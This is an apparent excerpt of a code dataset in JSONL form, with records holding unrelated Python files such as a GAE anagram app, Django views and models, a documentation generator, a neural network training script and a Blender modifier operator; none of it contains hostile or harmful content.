transform=image_transform) as dst:\n dst.write(image_pred_orig.astype(rio.uint8), 1)\n\n # If the prediction is all black, no need to proceed...\n if all_black:\n return \n \n # Write the output to file\n logger.debug(\"Save cleaned prediction\")\n # Use meta attributes of the source image, except...\n image_profile.update(dtype=rio.uint8, count=1, compress='lzw')\n image_pred_cleaned_filepath = f\"{image_pred_dir}{os.sep}{pred_prefix_str}{image_pred_filename_noext}_pred_cleaned.tif\"\n with rio.open(image_pred_cleaned_filepath, 'w', driver='GTiff', compress='lzw',\n height=image_profile['height'], width=image_profile['width'], \n count=1, dtype=rio.uint8, crs=image_profile['crs'], transform=image_transform) as dst:\n dst.write(image_pred_uint8.astype(rio.uint8), 1)\n\n # Polygonize result\n # Returns a list of tupples with (geometry, value)\n shapes = rio_features.shapes(image_pred_uint8.astype(rio.uint8),\n mask=image_pred_uint8.astype(rio.uint8),\n transform=image_transform)\n\n # Convert shapes to shapely geoms + simplify\n geoms = []\n geoms_simpl = []\n for shape in list(shapes):\n geom, value = shape\n geom_sh = shapely.geometry.shape(geom)\n geoms.append(geom_sh)\n\n # simplify and rasterize for easy comparison with original masks\n # preserve_topology is slower bu makes sure no polygons are removed\n geom_simpl = geom_sh.simplify(1.5, preserve_topology=True)\n if not geom_simpl.is_empty:\n geoms_simpl.append(geom_simpl)\n\n # Write the original geoms to wkt file\n logger.debug('Before writing orig geom wkt file')\n poly_wkt_filepath = f\"{image_pred_dir}{os.sep}{pred_prefix_str}{image_pred_filename_noext}_pred_cleaned.wkt\"\n with open(poly_wkt_filepath, 'w') as dst:\n for geom in geoms:\n dst.write(f\"{geom}\\n\")\n\n # Write the simplified geoms to wkt file\n logger.debug('Before writing simpl geom wkt file')\n poly_wkt_simpl_filepath = f\"{image_pred_dir}{os.sep}{pred_prefix_str}{image_pred_filename_noext}_pred_cleaned_simpl.wkt\"\n with open(poly_wkt_simpl_filepath, 'w') as dst_simpl:\n for geom_simpl in geoms_simpl:\n dst_simpl.write(f\"{geom_simpl}\\n\")\n\n # Write simplified wkt result to raster for debugging. Use the same\n # file profile as created before for writing the raw prediction result\n # TODO: doesn't support multiple classes\n logger.debug('Before writing simpl rasterized file')\n\n image_pred_simpl_filepath = f\"{image_pred_dir}{os.sep}{pred_prefix_str}{image_pred_filename_noext}_pred_cleaned_simpl.tif\"\n with rio.open(image_pred_simpl_filepath, 'w', driver='GTiff', compress='lzw',\n height=image_profile['height'], width=image_profile['width'], \n count=1, dtype=rio.uint8, crs=image_profile['crs'], transform=image_transform) as dst:\n # this is where we create a generator of geom, value pairs to use in rasterizing\n# shapes = ((geom,value) for geom, value in zip(counties.geometry, counties.LSAD_NUM))\n logger.debug('Before rasterize')\n if geoms_simpl:\n out_arr = dst.read(1)\n burned = rio_features.rasterize(shapes=geoms_simpl, fill=0,\n default_value=255, out=out_arr,\n transform=image_transform)\n# logger.debug(burned)\n dst.write(burned, 1)\n ","sub_path":"segment.py","file_name":"segment.py","file_ext":"py","file_size_in_byte":27301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"627477136","text":"from google.appengine.ext import ndb\nimport webapp2\nimport renderer\nimport utilities\nfrom anagram import Anagram\nfrom addWord import AddWord\n\nclass MainPage(webapp2.RequestHandler):\n # GET-request\n def get(self):\n self.response.headers['Content-Type'] = 'text/html'\n # Check whether user is logged in\n if utilities.user_loggedin():\n # if myuser object is None --> No user with key found --> new user --> make new user in datastore\n if not utilities.existing_user():\n utilities.addnewuser(utilities.get_user())\n result, wordCount, totalCount = utilities.getanagrams_from_user(utilities.getuser())\n renderer.render_main(self, utilities.getlogouturl(self), result, wordCount, totalCount)\n # If no user is logged in create login url\n else:\n renderer.render_login(self, utilities.getloginurl(self))\n\n # POST-request\n def post(self):\n self.response.headers['Content-Type'] = 'text/html'\n # Get user data object from datastore of current user (logged in)\n my_user = utilities.getuser()\n button = self.request.get('button')\n input_text = utilities.preparetextinput(self.request.get('value'))\n # Upload Anagrams\n file = self.request.get('uploadFile')\n\n if button == 'Upload':\n openFile = open(file)\n readLine = openFile.readline()\n while readLine:\n word = (readLine.strip('\\n\\r')).lower()\n\n permutations = utilities.a_permutations(word)\n wordsinfo = utilities.filterenglishwords(permutations)\n\n # Add anagram to datastore\n anagram_id = my_user.key.id() + '/' + utilities.generateid_for_users(word)\n anagram_key = ndb.Key(Anagram, anagram_id)\n anagrams = anagram_key.get()\n\n if anagrams:\n # Anagram with this key already exists\n utilities.addtoanagram(word, wordsinfo, anagram_key)\n else:\n # This key doesnt exist so creates a new anagram object to datastore\n utilities.addanagram_new(my_user, word, wordsinfo, anagram_id, anagram_key)\n\n readLine = openFile.readline()\n\n openFile.close()\n self.redirect('/')\n # Search Anagrams\n if button == 'Search':\n search_result = self.search(input_text, my_user)\n renderer.render_search(self, input_text, search_result)\n # Generate Anagrams\n elif button == 'Generate':\n words = self.generate(input_text, my_user)\n renderer.render_search(self, input_text, words)\n\n # Returns a list with all the items (if nothing found returns None)\n def search(self, text, my_user):\n anagram_id = my_user.key.id() + '/' + utilities.generateid_for_users(text)\n anagram = ndb.Key(Anagram, anagram_id).get()\n\n if anagram:\n result = anagram.words\n result.remove(text)\n return result\n else:\n return None\n\n def generate(self, input_text, my_user):\n permutations = utilities.a_permutations(input_text)\n anagrams = Anagram.query().fetch()\n sorted_list= []\n result = []\n for i in range(len(anagrams)):\n sorted_list.append(anagrams[i].sorted_word)\n for i in permutations:\n for j in sorted_list:\n if i == j:\n anagram_id = my_user.key.id() + '/' + j\n anagram = ndb.Key(Anagram, anagram_id).get()\n for x in anagram.words:\n result.append(str(x))\n if input_text in result:\n result.remove(input_text)\n return result\n\n# Starts the web application and specifies the routing table\napp = webapp2.WSGIApplication(\n [\n ('/', MainPage),\n ('/addWord', AddWord)\n ], debug=True)\n","sub_path":"cloud2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"237625863","text":"from django.http import HttpResponse\nimport json\nfrom django.shortcuts import render\nimport openpyxl\n\n# Create one array\nlist_data = []\n\n\ndef index(request):\n # location of the file\n loc = \"C:/Users/ubaranwal/Pictures/word_search.xlsx\"\n\n # you may put validations here to check extension or file size\n wb = openpyxl.load_workbook(loc)\n # getting a particular sheet by name out of many sheets\n worksheet = wb[\"word_search\"]\n\n excel_data = list()\n\n# iterating over the rows and getting value from each cell in row\n for row in worksheet.iter_rows():\n row_data = list()\n for cell in row:\n row_data.append(str(cell.value))\n excel_data.append(row_data)\n list_data.append(row_data[0])\n\n return render(request, \"sub_module/test.html\")\n\n\ndef company_autocomplete(request):\n if request.is_ajax():\n query = request.GET.get(\"term\", \"\")\n\n print([i for i in list_data if query in i])\n data = json.dumps([i for i in list_data if query in i])\n\n mimetype = \"application/json\"\n return HttpResponse(data, mimetype)\n\n\n\n\n\n","sub_path":"mysite/sub_module/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"102760994","text":"# -------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n# --------------------------------------------------------------------------\n\"\"\"Functions to create documentation from notebooklets classes.\"\"\"\nimport html\nimport inspect\nfrom typing import List\n\nfrom markdown import markdown\n\nfrom ._version import VERSION\nfrom .notebooklet import Notebooklet, NotebookletResult\n\n__version__ = VERSION\n__author__ = \"Ian Hellen\"\n\n\ndef get_class_doc(doc_cls: type, fmt: str = \"html\") -> str:\n \"\"\"\n Create HTML documentation for the notebooklet class.\n\n Parameters\n ----------\n doc_cls : type\n The class to document\n fmt : str\n Format = \"html\" or \"md\", by default \"html\"\n\n Returns\n -------\n str\n HTML documentation for the class\n\n Raises\n ------\n TypeError\n If the class is not a subclass of Notebooklet.\n\n \"\"\"\n if not issubclass(doc_cls, Notebooklet):\n raise TypeError(\"doc_cls must be a type of Notebooklet\")\n if fmt == \"html\":\n return markdown(_get_main_class_doc_md(doc_cls))\n return _get_main_class_doc_md(doc_cls)\n\n\ndef _get_main_class_doc_md(doc_cls) -> str:\n \"\"\"Return Markdown format of class documentation.\"\"\"\n cls_doc_lines = [f\"# Notebooklet Class - {doc_cls.__name__}\\n\"]\n cls_doc_str = inspect.getdoc(doc_cls)\n if cls_doc_str:\n fmt_doc_lines: List[str] = []\n for idx, doc_line in enumerate(inspect.cleandoc(cls_doc_str).split(\"\\n\")):\n if doc_line.strip().startswith(\"--\") and idx > 0:\n # if this is a heading underline, bold the previous line\n fmt_doc_lines[idx - 1] = f\"**{fmt_doc_lines[idx - 1]}**\"\n fmt_doc_lines.append(\"\")\n else:\n fmt_doc_lines.append(doc_line + \"\\n\")\n cls_doc_lines.extend(fmt_doc_lines)\n cls_doc_lines.append(\"\\n---\\n\")\n\n cls_doc_lines.append(\"## Display Sections\")\n for _, func in inspect.getmembers(doc_cls, inspect.isfunction):\n cls_doc_lines.extend(_get_closure_vars(func, doc_cls))\n\n for _, func in inspect.getmembers(inspect.getmodule(doc_cls), inspect.isfunction):\n cls_doc_lines.extend(_get_closure_vars(func, doc_cls))\n\n cls_doc_lines.append(\"\\n---\\n\")\n cls_doc_lines.append(\"## Results Class\\n\")\n for cls_name, cls in inspect.getmembers(\n inspect.getmodule(doc_cls), inspect.isclass\n ):\n if issubclass(cls, NotebookletResult) and cls is not NotebookletResult:\n cls_doc_lines.append(f\"## {cls_name}\\n\")\n cls_doc_lines.append(_get_result_doc(cls))\n break\n cls_doc_lines.append(\"\\n---\\n\")\n cls_doc_lines.append(\"## Methods\")\n cls_doc_lines.append(\"### Instance Methods\")\n cls_doc_lines.append(_get_class_methods_doc(doc_cls))\n cls_doc_lines.append(\"### Other Methods\")\n cls_doc_lines.append(_get_class_func_doc(doc_cls))\n return \"\\n\".join(cls_doc_lines)\n\n\ndef _get_closure_vars(func, doc_cls) -> List[str]:\n \"\"\"Return title and text from function args.\"\"\"\n cls_doc_lines = []\n closure_args = inspect.getclosurevars(func).nonlocals\n\n # If the function is using the metadata docs and key\n # try to fetch that from the class module\n docs = closure_args.get(\"docs\")\n key = closure_args.get(\"key\")\n other_items = None\n title = text = None\n hd_level = 2\n if docs and key and issubclass(doc_cls, Notebooklet):\n cell_docs = getattr(doc_cls, \"_cell_docs\", None)\n if cell_docs:\n title = cell_docs.get(key, {}).get(\"title\")\n text = cell_docs.get(key, {}).get(\"text\")\n hd_level = cell_docs.get(key, {}).get(\"hd_level\", 2) + 1\n other_items = {\n hdr: str(text)\n for hdr, text in docs.get(key, {}).items()\n if hdr not in (\"title\", \"text\", \"hd_level\", \"md\")\n }\n else:\n # Otherwise use inline parameters\n title = closure_args.get(\"title\")\n hd_level = closure_args.get(\"hd_level\", 2) + 1\n text = closure_args.get(\"text\")\n if title:\n cls_doc_lines.append((\"#\" * hd_level) + f\" {title}\\n\")\n if text:\n cls_doc_lines.append(text)\n if other_items:\n for name, content in other_items.items():\n cls_doc_lines.append(f\"**{name}**\\n{content}\")\n return cls_doc_lines\n\n\ndef _get_result_doc(cls) -> str:\n \"\"\"Return Markdown documentation for Result class.\"\"\"\n attr_section = False\n doc_lines = []\n cls_doc_str = inspect.getdoc(cls)\n if not cls_doc_str:\n return \"\"\n for line in inspect.cleandoc(cls_doc_str).split(\"\\n\"):\n if line.startswith(\"---\"):\n attr_section = True\n\n elif attr_section:\n line = \"\\n- \" + line + \"
\" if not line.startswith(\" \") else line.strip()\n doc_lines.append(line)\n return \"\\n\".join(doc_lines)\n\n\ndef _get_class_methods_doc(doc_cls: type) -> str:\n \"\"\"Get class instance methods.\"\"\"\n doc_lines: List[str] = []\n doc_lines_parent: List[str] = []\n allow_inherited = [\"__init__\", \"run\"]\n nb_methods = [\n f_name for f_name, _ in inspect.getmembers(Notebooklet, inspect.isfunction)\n ]\n cls_methods = inspect.getmembers(doc_cls, inspect.isfunction)\n\n for func_name, func in sorted(cls_methods):\n # First list is:\n # - run and __init__ methods\n # - other subclass funcs that are not in the parent class\n # (but not if it's a private method)\n if func_name in allow_inherited or (\n func_name not in nb_methods and not func_name.startswith(\"_\")\n ):\n doc_lines.extend(_format_func_doc(func_name, func, True))\n elif func_name in nb_methods and not func_name.startswith(\"_\"):\n doc_lines_parent.extend(_format_func_doc(func_name, func, True))\n doc_lines.append(\"## Inherited methods\")\n doc_lines.extend(doc_lines_parent)\n return \"\\n\".join(doc_lines)\n\n\ndef _get_class_func_doc(doc_cls: type) -> str:\n \"\"\"Get class functions (class methods and properties).\"\"\"\n doc_lines: List[str] = []\n prop_set = {\n f_name\n for f_name, _ in inspect.getmembers(doc_cls, lambda f: isinstance(f, property))\n }\n\n def member_crit(member):\n return inspect.ismethod(member) or isinstance(member, property)\n\n for func_name, func in inspect.getmembers(doc_cls, member_crit):\n if not func_name.startswith(\"_\"):\n doc_lines.extend(_format_func_doc(func_name, func, False, prop_set))\n return \"\\n\".join(doc_lines)\n\n\ndef _format_func_doc(func_name, func, full_doc=False, prop_set=None):\n \"\"\"Format function signature.\"\"\"\n func_disp_name = func_name.replace(\"_\", \"\\\\_\")\n doc_lines = [f\"#### {func_disp_name}\\n\"]\n if prop_set and func_name in prop_set:\n doc_lines.append(f\"{func_disp_name} [property]\")\n else:\n func_sig = html.escape(str(inspect.signature(func)))\n doc_lines.append(f\"{func_disp_name}{func_sig}
\")\n\n func_doc = inspect.getdoc(func)\n if func_doc:\n if not full_doc:\n # Get the first line of the doc string\n doc_lines.append(func_doc.split(\"\\n\", maxsplit=1)[0])\n return doc_lines\n\n func_doc = inspect.cleandoc(func_doc).split(\"\\n\", maxsplit=1)[0]\n if func_doc:\n refmt_headings = []\n for doc_line in func_doc.split(\"\\n\"):\n if doc_line.startswith(\"### \"):\n refmt_headings.append(doc_line.replace(\"### \", \"##### \"))\n elif doc_line.startswith(\"## \"):\n refmt_headings.append(doc_line.replace(\"## \", \"#### \"))\n else:\n refmt_headings.append(doc_line + \"\\n\")\n doc_lines.extend(refmt_headings)\n return doc_lines\n","sub_path":"msticnb/class_doc.py","file_name":"class_doc.py","file_ext":"py","file_size_in_byte":7860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"72727592","text":"#! python3\n\"\"\"\nCreate a function called isInteger()\nInput is a float number\nReturn True if the number is an integer\nReturn False if the number is not an integer\n(2 points)\n\"\"\"\n\n\ndef isInteger(a):\n if a % 1 == 0:\n result = True\n return result\n else:\n result = False\n return result\n","sub_path":"task4.py","file_name":"task4.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"375397380","text":"from PIL import Image\r\nimport os\r\nimport math\r\nimport sys\r\nfrom io import BytesIO\r\nimport pickle\r\n\r\ndef long_slice(image_path, out_name, outdir, slice_size):\r\n img = Image.open(image_path)\r\n width, height = img.size\r\n upper = 0\r\n left = 0\r\n slices = int(math.ceil(height/slice_size))\r\n\r\n count = 1\r\n for slice in range(slices):\r\n #if we are at the end, set the lower bound to be the bottom of the image\r\n if count == slices:\r\n lower = height\r\n else:\r\n lower = int(count * slice_size) \r\n\r\n bbox = (left, upper, width, lower)\r\n working_slice = img.crop(bbox)\r\n upper += slice_size\r\n #save the slice\r\n working_slice.save(os.path.join(outdir, \"slice_\" + out_name + \"_\" + str(count)+\".jpg\"))\r\n count +=1\r\n\r\nif __name__ == '__main__':\r\n long_slice(\"test.jpg\",\"test\", os.getcwd(), 205)\r\n\r\n\r\ncount=1\r\n\r\nwhile count<6:\r\n img = Image.open(\"slice_test_\" + str(count) + \".jpg\")\r\n if count==5:\r\n newImage = img.resize((1000, 204), Image.ANTIALIAS) \r\n else:\r\n newImage = img.resize((1000, 205), Image.ANTIALIAS) \r\n data_size=os.path.getsize(\"slice_test_\" + str(count) + \".jpg\")\r\n q=100\r\n while data_size>46080/5:\r\n q=q-1\r\n newImage.save(\"slice_test_new_\" + str(count) + \".jpg\", optimize=True, quality=q)\r\n data_size=os.path.getsize(\"slice_test_new_\" + str(count) + \".jpg\")\r\n count +=1\r\n\r\ncount = 1\r\n\r\nwhile count<6:\r\n with open(\"slice_test_new_\" + str(count)+\".jpg\", \"rb\") as image:\r\n f = image.read()\r\n b = bytearray(f)\r\n\r\n with open(\"data_\" + str(count)+\".dat\", \"wb\") as t:\r\n pickle.dump(b, t)\r\n count +=1\r\n","sub_path":"Documents/About Programming/Image Acquisition Subsytem/decomposition_v0.py","file_name":"decomposition_v0.py","file_ext":"py","file_size_in_byte":1699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"643468966","text":"class Solution:\n def countSubstrings(self, s: str) -> int:\n n = len(s)\n dp = [[False] * n for _ in range(n)]\n res = 0\n for i in range(n):\n dp[i][i] = True\n for j in range(n):\n for i in range(j):\n if j - i == 1 and s[i] == s[j]:\n dp[i][j] = True\n else:\n if s[i] == s[j]:\n dp[i][j] = dp[i+1][j-1]\n for k in range(n):\n res += dp[k].count(True)\n return res","sub_path":"Week_04/[647]回文子串.py","file_name":"[647]回文子串.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"346956860","text":"from django import forms\n\nfrom .models import Room, Booking\nfrom django.forms.widgets import DateInput\n\n\nclass RoomForm(forms.ModelForm):\n class Meta:\n model = Room\n fields = ['room_name', 'capacity', 'projector', 'date_now']\n labels = {\n 'room_name': 'Conference Room Name',\n 'capacity': 'Capacity of the room',\n 'projector': 'Projector Availability',\n 'date_now': \"Insertion date\",\n\n }\n widgets = {\n 'date_now': DateInput(attrs={'type': 'date'}),\n\n }\n\n\nclass BookingForm(forms.Form):\n check_in = forms.DateTimeField(required=True, input_formats=[\"%Y-%m-%d\", ])\n check_out = forms.DateTimeField(required=True, input_formats=[\"%Y-%m-%d\", ])\n\n","sub_path":"reservation/reservation_app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"462224216","text":"from pysat.formula import CNF\nfrom pysat.solvers import MapleCM\n\nif __name__ == \"__main__\":\n \n f1 = CNF(from_file='/home/alexey.tyurin/MATH_LOGIC/Math-logic-practice/week3/DPLL/test/test_dataset/sat/uf50-0584.cnf-cropped') # reading from file\n # print(len(f1.clauses))\n solver = MapleCM()\n solver.append_formula(f1.clauses)\n print(solver.solve())\n","sub_path":"week3/DPLL/test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"514149305","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Mar 31 00:11:23 2021\r\n\r\n@author: Phuc Hau\r\n\"\"\"\r\n\r\n\r\nimport numpy as np\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nfrom tensorflow.python.ops import array_ops\r\nfrom tensorflow.python.ops import math_ops\r\nfrom tensorflow.keras import layers\r\nfrom special_layers import *\r\nfrom utils import *\r\nfrom matplotlib import pyplot as plt\r\ntf.keras.backend.set_floatx('float64')\r\n\r\n# Build the DC neural network\r\n\r\n# initialize layers\r\ninputs = tf.keras.Input(shape=(784,))\r\nDense = layers.Dense(64,activation='relu')\r\nDC1 = DC(units=64,activation='relu')\r\nDC2 = DC(units=10)\r\n\r\n# stack layers together\r\nx = Dense(inputs)\r\nx = tf.concat([x,0*x],axis=1)\r\nx = DC1(x)\r\nx = DC2(x)\r\n\r\ndc_model = keras.Model(inputs=inputs,outputs=x,name='dc_model')\r\ndc_model.summary()\r\n\r\n\r\n# Train a DC neural network\r\n# Setup\r\nbatch_size = 64\r\n(x_train,y_train), (x_test,y_test) = keras.datasets.mnist.load_data()\r\nx_train = x_train.reshape(60000,784).astype('float64')/255\r\nx_test = x_test.reshape(10000,784).astype('float64')/255\r\n\r\n\r\ntrain_dataset = tf.data.Dataset.from_tensor_slices((x_train,y_train))\r\ntrain_dataset = train_dataset.batch(batch_size)\r\ntest_dataset = tf.data.Dataset.from_tensor_slices((x_test,y_test))\r\n\r\ntest_loss = []\r\nresidual = []\r\ncvx_sub_prob = []\r\nmodel_len = len(dc_model.trainable_weights)\r\nloss_fn = keras.losses.SparseCategoricalCrossentropy()\r\n\r\nN_iter = 5 # number of iterations used to solve convex subproblem\r\nepochs = 1\r\n\r\ndamping_const = 800 #800000 #80\r\neps = 1\r\nk_max = 100\r\nfor epoch in range(epochs):\r\n for step, (x_batch,y_batch) in enumerate(train_dataset):\r\n \r\n current_batch_size = y_batch.shape[0]\r\n y_one_hot = tf.one_hot(y_batch,depth=10,dtype=tf.float64)\r\n with tf.GradientTape() as tape:\r\n outputs = dc_model(x_batch)\r\n delta = outputs[:,:10]\r\n psi = outputs[:,10:]\r\n H = tf.reduce_sum(delta + psi,axis=1) + tf.reduce_sum(delta*y_one_hot,1)\r\n H = tf.reduce_sum(H)/current_batch_size\r\n gradH = tape.gradient(H,dc_model.trainable_weights)\r\n \r\n H0 = H\r\n gradH0x0 = scalar_product(gradH,dc_model.trainable_weights)\r\n \r\n con_grad0 = [0*elem for elem in gradH] #xem lai\r\n for i in range(N_iter):\r\n \r\n with tf.GradientTape() as tape:\r\n outputs = dc_model(x_batch)\r\n delta = outputs[:,:10]\r\n psi = outputs[:,10:]\r\n G = tf.math.log(tf.reduce_sum(tf.math.exp(delta-psi),axis=1))\\\r\n +tf.reduce_sum(delta+psi,axis=1)+tf.reduce_sum(psi*y_one_hot,1)\r\n G = tf.reduce_sum(G)/current_batch_size\r\n \r\n gradG = tape.gradient(G, dc_model.trainable_weights)\r\n ngrad = [-gradG[idx]+gradH[idx] for idx in range(model_len)]\r\n \r\n con_grad = con_grad0 #can be improved?\r\n with tf.GradientTape() as out_tape:\r\n with tf.GradientTape() as in_tape:\r\n outputs = dc_model(x_batch)\r\n delta = outputs[:,:10]\r\n psi = outputs[:,10:]\r\n G = tf.math.log(tf.reduce_sum(tf.math.exp(delta-psi),axis=1))\\\r\n +tf.reduce_sum(delta+psi,axis=1)+tf.reduce_sum(psi*y_one_hot,1)\r\n G = tf.reduce_sum(G)/current_batch_size\r\n gradG = in_tape.gradient(G,dc_model.trainable_weights)\r\n elemwise_products = [\r\n math_ops.multiply(grad_elem, array_ops.stop_gradient(v_elem))\r\n for grad_elem, v_elem in zip(gradG, con_grad)\r\n if grad_elem is not None]\r\n Hess_vec = out_tape.gradient(elemwise_products,dc_model.trainable_weights)\r\n reg_Hess_vec = [Hess_vec[idx]+damping_const*con_grad[idx] for idx in range(model_len)]\r\n r = [ngrad[idx]-reg_Hess_vec[idx] for idx in range(model_len)]\r\n p = r\r\n k = 0\r\n if norm_square(r) >= eps:\r\n while True:\r\n with tf.GradientTape() as out_tape:\r\n with tf.GradientTape() as in_tape:\r\n outputs = dc_model(x_batch)\r\n delta = outputs[:,:10]\r\n psi = outputs[:,10:]\r\n G = tf.math.log(tf.reduce_sum(tf.math.exp(delta-psi),axis=1))\\\r\n +tf.reduce_sum(delta+psi,axis=1)+tf.reduce_sum(psi*y_one_hot,1)\r\n G = tf.reduce_sum(G)/current_batch_size\r\n gradG = in_tape.gradient(G,dc_model.trainable_weights)\r\n elemwise_products = [\r\n math_ops.multiply(grad_elem, array_ops.stop_gradient(v_elem))\r\n for grad_elem, v_elem in zip(gradG, p)\r\n if grad_elem is not None]\r\n Hess_vec = out_tape.gradient(elemwise_products,dc_model.trainable_weights)\r\n reg_Hess_vec = [Hess_vec[idx]+damping_const*p[idx] for idx in range(model_len)]\r\n rdotr = scalar_product(r,r)\r\n alpha = rdotr/scalar_product(p,reg_Hess_vec)\r\n con_grad = [con_grad[idx]+alpha*p[idx] for idx in range(model_len)]\r\n r_next = [r[idx]-alpha*reg_Hess_vec[idx] for idx in range(model_len)]\r\n if norm_square(r_next) < eps or k>k_max:\r\n break\r\n rnextdotrnext = scalar_product(r_next,r_next)\r\n beta = rnextdotrnext/rdotr\r\n r = r_next\r\n p = [r[idx]+beta*p[idx] for idx in range(model_len)]\r\n k += 1\r\n \r\n gradH0x = scalar_product(gradH,dc_model.trainable_weights)\r\n subloss = G-(H0+gradH0x-gradH0x0)\r\n print(\"subloss\",subloss.numpy())\r\n for idx in range(model_len):\r\n dc_model.trainable_weights[idx].assign_add(con_grad[idx])\r\n \r\n if step%1==0:\r\n outputs = dc_model(x_test)\r\n delta = outputs[:,:10]\r\n psi = outputs[:,10:]\r\n model_prob = keras.layers.Softmax()(delta-psi)\r\n loss = loss_fn(y_test,model_prob).numpy()\r\n test_loss.append(loss)\r\n print(\"loss:\",loss)\r\n \r\n ","sub_path":"untitled0.py","file_name":"untitled0.py","file_ext":"py","file_size_in_byte":6435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"458902324","text":"from django.contrib.contenttypes.fields import GenericRelation\nfrom django.db import models\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\n\nfrom shapely.geometry import mapping, shape, Polygon as PolygonShapely\nfrom shapely.ops import unary_union\n\nfrom .parcel import Parcel\nfrom .shapes import Shape, MultiPolygon\nfrom ..project import Project\n\n\nclass Borders(models.Model):\n project = models.OneToOneField(\n Project, related_name=\"borders\", on_delete=models.CASCADE\n )\n is_from_parcels = models.BooleanField(default=True)\n shapes = GenericRelation(\n Shape,\n related_query_name=\"borders\",\n content_type_field=\"content_type\",\n object_id_field=\"object_id\",\n )\n\n class Meta:\n verbose_name_plural = \"borders\"\n\n def __str__(self):\n return f\"Borders of {self.project}\"\n\n def coordinates_from_parcels(self):\n geoms = [\n shape(parcel.shape.geojson_geom) for parcel in self.project.parcels.all()\n ]\n union = unary_union(geoms)\n coordinates = mapping(union)[\"coordinates\"]\n if isinstance(union, PolygonShapely):\n return [coordinates]\n return coordinates\n\n @property\n def coordinates(self):\n return self.shape.coordinates\n\n @property\n def shape(self):\n return self.shapes.first()\n\n\n@receiver(post_save, sender=Project)\ndef create_from_project(sender, instance, created, **kwargs):\n if created:\n Borders.objects.create(project=instance)\n\n\n@receiver(post_save, sender=Borders)\ndef create_shape(sender, instance, created, **kwargs):\n if created:\n MultiPolygon.objects.create(\n content_object=instance, coordinates=instance.coordinates_from_parcels()\n )\n\n\n@receiver(post_save, sender=MultiPolygon)\ndef update_shape(sender, instance, created, **kwargs):\n if not isinstance(instance.content_object, Parcel):\n return\n project = instance.content_object.project\n try:\n borders = project.borders\n except Project.borders.RelatedObjectDoesNotExist:\n return\n if not borders.is_from_parcels:\n return\n shape = borders.shape\n shape.coordinates = borders.coordinates_from_parcels()\n shape.full_clean()\n shape.save()\n","sub_path":"api/models/map/borders.py","file_name":"borders.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"653073635","text":"import bpy\r\nimport gpu\r\nimport math\r\nfrom bgl import *\r\nfrom gpu_extras.batch import batch_for_shader\r\nfrom mathutils import Vector\r\nfrom ... utils.blender_ui import get_dpi, get_dpi_factor\r\nfrom ... graphics.drawing2d import draw_text, set_drawing_dpi\r\nfrom ... preferences import Hops_text_color, Hops_border_color, Hops_border2_color, get_preferences\r\n\r\n\r\nclass HOPS_OT_MOD_Wireframe(bpy.types.Operator):\r\n bl_idname = \"hops.mod_wireframe\"\r\n bl_label = \"Adjust Simple Deform Modifier\"\r\n bl_options = {\"REGISTER\", \"UNDO\", \"GRAB_CURSOR\", \"BLOCKING\"}\r\n bl_description = \"\"\"LMB - Adjust Wireframe Modifier\r\nLMB + CTRL - Add new Wireframe Modifier\r\n\r\nPress H for help.\"\"\"\r\n\r\n wireframe_objects = {}\r\n\r\n @classmethod\r\n def poll(cls, context):\r\n selected = context.selected_objects\r\n for obj in selected:\r\n return getattr(obj, \"type\", \"\") == \"MESH\"\r\n\r\n def invoke(self, context, event):\r\n self.modal_scale = get_preferences().Hops_modal_scale\r\n self.wireframe_objects = {}\r\n\r\n for object in context.selected_objects:\r\n self.get_deform_modifier(object, event)\r\n\r\n self.active_wireframe_modifier = context.object.modifiers[self.wireframe_objects[context.object.name][\"modifier\"]]\r\n self.store_values()\r\n\r\n self.start_mouse_position = Vector((event.mouse_region_x, event.mouse_region_y))\r\n self.last_mouse_x = event.mouse_region_x\r\n\r\n self.draw_handler = bpy.types.SpaceView3D.draw_handler_add(self.draw_ui, (context, ), \"WINDOW\", \"POST_PIXEL\")\r\n context.window_manager.modal_handler_add(self)\r\n\r\n return {\"RUNNING_MODAL\"}\r\n\r\n def get_deform_modifier(self, object, event):\r\n if event.ctrl:\r\n self.add_deform_modifier(object)\r\n else:\r\n try: self.wireframe_objects.setdefault(object.name, {})[\"modifier\"] = self.wireframe_modifiers(object)[-1].name\r\n except: self.add_deform_modifier(object)\r\n\r\n def add_deform_modifier(self, object):\r\n wireframe_modifier = object.modifiers.new(name=\"Wireframe\", type=\"WIREFRAME\")\r\n wireframe_modifier.thickness = 0.2\r\n wireframe_modifier.use_even_offset = True\r\n wireframe_modifier.use_relative_offset = False\r\n wireframe_modifier.use_replace = True\r\n wireframe_modifier.use_boundary = True\r\n\r\n self.wireframe_objects.setdefault(object.name, {})[\"modifier\"] = wireframe_modifier.name\r\n self.wireframe_objects[object.name][\"added_modifier\"] = True\r\n\r\n @staticmethod\r\n def wireframe_modifiers(object):\r\n return [modifier for modifier in object.modifiers if modifier.type == \"WIREFRAME\"]\r\n\r\n def store_values(self):\r\n for object_name in 